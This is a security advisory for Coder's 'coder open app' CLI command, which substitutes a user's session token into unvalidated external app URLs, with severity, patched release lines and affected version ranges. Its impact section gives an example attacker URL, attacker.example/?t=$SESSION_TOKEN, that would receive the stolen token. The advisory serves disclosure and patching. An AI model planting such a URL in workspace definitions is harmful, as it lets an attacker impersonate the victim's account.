GHSA-v54h-cp2w-9x4g

Source

https://github.com/advisories/GHSA-v54h-cp2w-9x4g

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v54h-cp2w-9x4g/GHSA-v54h-cp2w-9x4g.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-v54h-cp2w-9x4g

Aliases

Published

2026-07-06T21:07:40Z

Modified

2026-07-07T20:41:29Z

Severity

7.7 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N CVSS Calculator

Summary

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Details

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

Release line	Patched version
2.34	v2.34.2
2.33	v2.33.8
2.32	v2.32.7
2.29 (ESR)	v2.29.17

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Database specific

{
    "cwe_ids":  [
        "CWE-522",
        "CWE-601"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-07-06T21:07:40Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}

References

Affected packages

Go / github.com/coder/coder/v2

Package

Name: github.com/coder/coder/v2; View open source insights on deps.dev
Purl: pkg:golang/github.com/coder/coder/v2

Affected ranges

Type: SEMVER
Events: Introduced

2.34.0

Fixed

2.34.2

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v54h-cp2w-9x4g/GHSA-v54h-cp2w-9x4g.json"

Go / github.com/coder/coder/v2

Package

Name: github.com/coder/coder/v2; View open source insights on deps.dev
Purl: pkg:golang/github.com/coder/coder/v2

Affected ranges

Type: SEMVER
Events: Introduced

2.33.0

Fixed

2.33.8

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v54h-cp2w-9x4g/GHSA-v54h-cp2w-9x4g.json"

Go / github.com/coder/coder/v2

Package

Name: github.com/coder/coder/v2; View open source insights on deps.dev
Purl: pkg:golang/github.com/coder/coder/v2

Affected ranges

Type: SEMVER
Events: Introduced

2.30.0

Fixed

2.32.7

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v54h-cp2w-9x4g/GHSA-v54h-cp2w-9x4g.json"

Go / github.com/coder/coder/v2

Package

Name: github.com/coder/coder/v2; View open source insights on deps.dev
Purl: pkg:golang/github.com/coder/coder/v2

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

2.29.17

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v54h-cp2w-9x4g/GHSA-v54h-cp2w-9x4g.json"